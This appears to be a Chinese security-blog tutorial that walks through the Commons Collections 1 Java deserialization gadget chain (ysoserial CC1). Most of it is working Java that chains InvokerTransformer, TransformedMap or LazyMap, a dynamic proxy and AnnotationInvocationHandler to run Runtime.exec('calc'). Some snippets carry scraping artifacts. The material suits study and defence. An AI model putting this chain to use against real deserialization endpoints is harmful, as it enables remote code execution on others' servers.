学习反序列化就肯定少不了学习CB,CC,CK等已有的链子来帮我我们理解各大反序列化漏洞的挖掘思路,漏洞利用,这里团队的XJiu师傅就带兄弟们先学习一下CC1这个经典链,它适用的依赖版本经常出现在框架,cms以及中间件中,兄弟们冲!!!
通过反射调用类的方法达到命令执行
例:
Runtime.getRuntime().exec(“clac”);
反射调用
代码如下
package org.example;
import java.io.IOException;
import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) throws Exception {
Class c = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = c.getMethod("getRuntime",null);
Method getexecMethod = c.getMethod("exec",String.class);
Runtime run = (Runtime)getRuntimeMethod.invoke(null,null);
getexecMethod.invoke(run,"calc");
}
}
Class.forName------> 反射获得Runtime类
c.getMethod -------> 获得 getRuntime 和 exec
通过 getRuntimeMethod.invoke方法 得到Runtime 这个对象
execMethod.invoke 方法 执行命令
InvokerTransformer
包 org.apache.commons.collections.functors
Transform
这里发现通过反射调用类,通过invoke方法执行
本地调用
这里直接调用InvokerTransformer. Transform方法,执行命令
查找Transform 的调用
这里跟进当前类它得接口名 TransFormer
跟进
Protected 方法在类里面调用,无法控制,但valueTransformer 是可以控制得,继续跟进
跟进后发现 valueTransformer 得值是通过 TransformedMap 这个方法来传递得,继续跟进
发现 TransformedMap 的方法是上一个静态方法 decorate 的返回值,里面的参数是可以控制了。
(不可控)Checksetvalue (valueTransformer)----> (不可控)TransformedMap (valueTransformer) ------> (可控)decorate(valueTransformer(可控))
Checksetvalue 怎么才能调用?
Next 跟进
代码实现
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Runtime run = Runtime.getRuntime();
HashMap <Object< span>,Object> hashmap = new HashMap<>();
InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
hashmap.put("value","value");
Map <Object< span>,Object> transformedMap = TransformedMap.decorate(hashmap,null,invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
System.out.println(entry.setValue(run));
}
}
}
或者用这三句去替换 Runtime run = Runtime.getRuntime();
Class clazz = Class.forName("java.lang.Runtime");
Method GetMethod = clazz.getMethod("getRuntime",null);
Runtime r = (Runtime)GetMethod.invoke(null,null);
这里实现了 一半的CC1链(不完整)
NEXT
这里只用InvokerTransformer 去调用 runtime的方法的命令,代码如下
package org.example;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
//invokerTransformer 执行命令
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime run = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(run);
}
}
ChainedTransformer
代码实现
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] Transformer = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
new ChainedTransformer(Transformer).transform(Runtime.class);
}
}
这里可以发现 Transform(Object obj) 这个obj 形参只能放Runtime.class 我们可以放其他的对象吗?
继续跟进
发现 org.apache.commons.collections.functors. ConstantTransformer
接口是Transformer
ConstantTransformer这个构造器是 给什么Object 就返回什么Object
代码里面跟进尝试
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
new ChainedTransformer(Transformer).transform("aaaaa");
}
}
断点跟进
最开始是“aaaa”
在往下面走 发现更改了
走进了InvokerTransformer.transform
反序列化漏洞就要用到ReadObject
这里去找一下ReadObject 哪里有用到?并且调用了setValue 这个函数
ReadObject
查找调用setValue 的位置
Java1.8 sun.reflect.annotation.AnnotationInvocationHandler
过掉里面的逻辑部分,进入到memverValue.setValue
代码如下
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
HashMap <Object< span>,Object> hashmap = new HashMap<>();
hashmap.put("value","value");
Map <Object< span>,Object> transformedMap = TransformedMap.decorate(hashmap,null,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class,transformedMap);
Seria s = new Seria();
//s.seria(obj);
s.unseria();
}
}
</Object<>
</Object<>
链条
AnnotationInvocationHandler.reobject()---> Map(TransformedMap).entryset()---> ChainedTransformer.transform()---> ConstantTransformer.transform()---> TransformerMap.checksetValue()---> TransformerMap.setvalue()---> InvokerTransformer.transform()---> |
最终进入
K
JDK 动态代理
newProxyInstance
newProxyInstance,⽅法有三个参数:
loader: ⽤哪个类加载器去加载代理对象
interfaces:动态代理类需要实现的接⼝
h:动态代理⽅法在执⾏时,会调⽤h⾥⾯的invoke⽅法去执⾏
这里代码实现一下 newProxyInstance
Person 接口
package org.jdk; |
TestPerson
继承接口 实现build方法
package org.jdk; |
PersonHandler
这里继承 接口InvocationHandler 实现其invoke方法
package org.jdk;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class PersonHandler implements InvocationHandler {
private Person person;
public PersonHandler(Person person){
this.person = person;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.err.println("A");
method.invoke(person,args);
System.err.println("B");
return null;
}
}
Proxy
调用newProxyInstance
自动调用PersonHandler 里面的invoke方法
package org.jdk;
import java.lang.reflect.Proxy;
public class proxy {
public static void main(String[] args) {
Person person = (Person) Proxy.newProxyInstance(Person.class.getClassLoader(),new Class[] {Person.class},new PersonHandler(new TestPerson()));
/* Proxy.newProxyInstance() 参数
loader: ⽤哪个类加载器去加载代理对象
interfaces:动态代理类需要实现的接⼝
h:动态代理⽅法在执⾏时,会调⽤h⾥⾯的invoke⽅法去执⾏
*/
person.build("hello");
}
}
断点跟进
来到PerHandler
调用build这个方法
走进PersonHandler.invoke 方法
然后打印
LazyMap.transformer
LazyMap 继承Map接口,发现其get方法调用了transform 这个方法
This.factory 其类型也是transformer
这里发现当没有key的时候就可以调用到里面的transform方法
代码实现
ackage org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
HashMap <Object< span>,Object> hashmap = new HashMap<>();
hashmap.put("value","value");
Map <Object< span>,Object> lazymap = LazyMap.decorate(hashmap,chainedTransformer);
lazymap.get("aaaa");
}
}
寻找get方法调用
继承Map 接口
发现AnnotationInvocationHandler.invoke 方法中调用了get方法
发现起memberValues是可控的 并且类型为Map
动态代理 AnnotationInvocationHandler
代码实现
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
HashMap <Object< span>,Object> hashmap = new HashMap<>();
hashmap.put("value","value");
Map <Object< span>,Object> lazymap = LazyMap.decorate(hashmap,chainedTransformer);
// lazymap.get("aaaa");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class,lazymap);
Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);
proxymap.entrySet();
}
}
用ReadObject 执行JDK 动态代理
拿到这个类 执行其序列化的操作
让其反序列化
链条
AnnotationInvocationHandler.readObject()---> Map(Proxy).entryset()---> AnnotationInvocationHandler.invoke()---> LazyMap.get()---> ChainedTransformer.transform()---> ConstantTransformer.transform()---> TransformerMap.checksetValue()---> TransformerMap.setvalue()---> InvokerTransformer.transform() |
最终进入
原文始发于微信公众号(小黑说安全):学习yso之分析CC1链<=3.2.1(JAVA反序列化必学)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论